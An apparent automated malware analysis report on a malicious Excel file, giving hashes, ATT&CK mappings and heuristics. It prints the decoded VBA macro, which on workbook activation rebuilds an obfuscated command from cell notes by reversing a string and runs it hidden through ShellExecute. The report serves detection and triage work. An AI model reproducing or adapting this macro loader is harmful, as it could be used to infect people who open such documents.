Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 258b3b858ff22bcc…

MALICIOUS

Office (OLE)

85.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2021-07-10
MD5: 41da72a0bdd7c1961209afa03ed72996 SHA-1: 8329d1558d9b4fa188d1bd4079b83ffc3c06bcc4 SHA-256: 258b3b858ff22bcc82c09afd26df601143eb6cf27588ca8cea93959dcb1ac0aa
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is an Excel file containing VBA macros. The macros utilize `CreateObject` to instantiate an object and then call `ShellExecute` with a constructed command. This command appears to be designed to download and execute a second-stage payload, indicated by the `ShellExecute` call and the concatenation of strings to form the command. The specific URL or executable name is obfuscated, but the intent is clear.

Heuristics 3

  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UyMNyLd = CreateObject(t7)
    UyMNyLd.ShellExecute "P" + n1, A2, "", "", 0

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1532 bytes
SHA-256: b03ae1533d0421193833f1a84cd633850124184706dd0573cf048aa4dd14ed70
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
Dim cnGx, IejQn, gQomKkm, rPMn

Set rPMn = Worksheets("Sheet1")

  cnGx = rPMn.Range("D500").NoteText + rPMn.Range("D501").NoteText + rPMn.Range("D502").NoteText + rPMn.Range("D503").NoteText + rPMn.Range("D504").NoteText + rPMn.Range("D505").NoteText + rPMn.Range("D506").NoteText + rPMn.Range("D507").NoteText
 
 t8hg0 = rPMn.Range("D508").NoteText
 y70fdsd = rPMn.Range("D509").NoteText

  gQomKk = LOL.rQahe(lvYcBrt(cnGx), t8hg0, y70fdsd)


End Sub
  


Function lvYcBrt(Text)
    Dim i As Integer
    Dim StrNew As String
    Dim strOld As String
    strOld = Trim(Text)
    For i = 1 To Len(strOld)
      StrNew = Mid(strOld, i, 1) & StrNew
    Next i
    lvYcBrt = StrNew
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "LOL"

Function rQahe(A2, n1, t7)
Dim UyMNyLd

Set UyMNyLd = CreateObject(t7)
UyMNyLd.ShellExecute "P" + n1, A2, "", "", 0



End Function